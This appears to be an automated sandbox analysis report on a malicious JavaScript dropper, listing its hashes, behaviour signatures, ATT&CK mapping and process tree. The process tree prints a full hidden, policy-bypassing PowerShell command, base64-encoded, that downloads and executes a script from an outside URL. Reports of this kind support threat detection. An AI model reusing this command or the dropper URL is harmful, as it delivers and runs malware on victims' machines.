071e2829b90e92202f1fdd8fcba3d7c8f6bd2fceab7ede345ded4dcebd50e8ab

Analysis

max time kernel
8s
max time network
58s
platform
windows7_x64
resource
win7v20210408
submitted
29/07/2021, 05:08

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General

Target
2021APT-28_73170453.js
Size 77KB
Sample210729-mgb65ar2ws
SHA256 e06112a171907f0f55a0b2003f13ae089f4ec892575988ce038307b3f006f643
MD5 caac1603c47dffc764be496782b4aace
SHA1 8732056125789e67025476f9f3c4ee7642cf9c50
SHA512 a941b40125ca3e860562a365b36565b6224a7cee2ba7e7811361c8b7aef5dffbcc3cf6ff10ef78f6bec803585ac839a153166ea02859becc19c58f84ea3021c0
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1540	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1540	powershell.exe
1540	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1540	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 368 wrote to memory of 1632	368	wscript.exe	29
PID 368 wrote to memory of 1632	368	wscript.exe	29
PID 368 wrote to memory of 1632	368	wscript.exe	29
PID 1632 wrote to memory of 1540	1632	cmd.exe	31
PID 1632 wrote to memory of 1540	1632	cmd.exe	31
PID 1632 wrote to memory of 1540	1632	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_73170453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1540

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1540-61-0x000007FEFBB31000-0x000007FEFBB33000-memory.dmp

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memory/1540-62-0x0000000002040000-0x0000000002041000-memory.dmp

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memory/1540-63-0x000000001AC50000-0x000000001AC51000-memory.dmp

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memory/1540-64-0x0000000002570000-0x0000000002571000-memory.dmp

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memory/1540-65-0x0000000001F90000-0x0000000001F91000-memory.dmp

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memory/1540-66-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

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memory/1540-67-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

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memory/1540-68-0x000000001B9A0000-0x000000001B9A1000-memory.dmp

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